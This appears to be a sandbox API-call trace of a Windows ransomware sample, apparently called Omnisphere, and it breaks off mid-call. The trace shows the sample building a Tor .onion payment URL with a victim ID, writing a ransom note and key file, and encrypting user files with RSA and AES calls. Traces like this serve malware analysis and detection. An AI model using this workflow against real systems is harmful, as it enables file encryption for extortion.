WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.121] GetProcessHeap () returned 0x1600000 [0140.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd960 [0140.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd960, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0140.121] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0140.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.121] GetProcessHeap () returned 0x1600000 [0140.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710140 [0140.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710140, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0140.121] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0140.121] GetProcessHeap () returned 0x1600000 [0140.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x16a3d58 [0140.121] PathCombineW (in: pszDest=0x16a3d58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" [0140.121] GetProcessHeap () returned 0x1600000 [0140.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171f0c8 [0140.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.122] WriteFile (in: hFile=0x3c0, lpBuffer=0x171f0c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171f0c8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0140.122] CloseHandle (hObject=0x3c0) returned 1 [0140.124] GetProcessHeap () returned 0x1600000 [0140.124] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725ee8 | out: hHeap=0x1600000) returned 1 [0140.124] GetProcessHeap () returned 0x1600000 [0140.124] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x16a3e48 [0140.124] PathCombineW (in: pszDest=0x16a3e48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" [0140.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.125] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0140.125] CloseHandle (hObject=0x3c0) returned 1 [0140.126] GetProcessHeap () returned 0x1600000 [0140.126] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a3e48 | out: hHeap=0x1600000) returned 1 [0140.126] GetProcessHeap () returned 0x1600000 [0140.126] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172d648 | out: hHeap=0x1600000) returned 1 [0140.126] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6543ef5f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0140.126] GetProcessHeap () returned 0x1600000 [0140.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0140.126] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="Notepad.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" [0140.126] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0140.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.127] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1158) returned 1 [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.127] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] GetTickCount () returned 0x1162e5b [0140.128] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668708) returned 1 [0140.129] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639568) returned 1 [0140.129] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0140.129] CryptDestroyKey (hKey=0x1639568) returned 1 [0140.129] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0140.129] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x486, lpName=0x0) returned 0x388 [0140.129] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x486) returned 0x1480000 [0140.138] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668460) returned 1 [0140.139] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16394e8) returned 1 [0140.139] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0140.139] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0140.139] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.139] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.139] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.139] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.140] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.141] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: 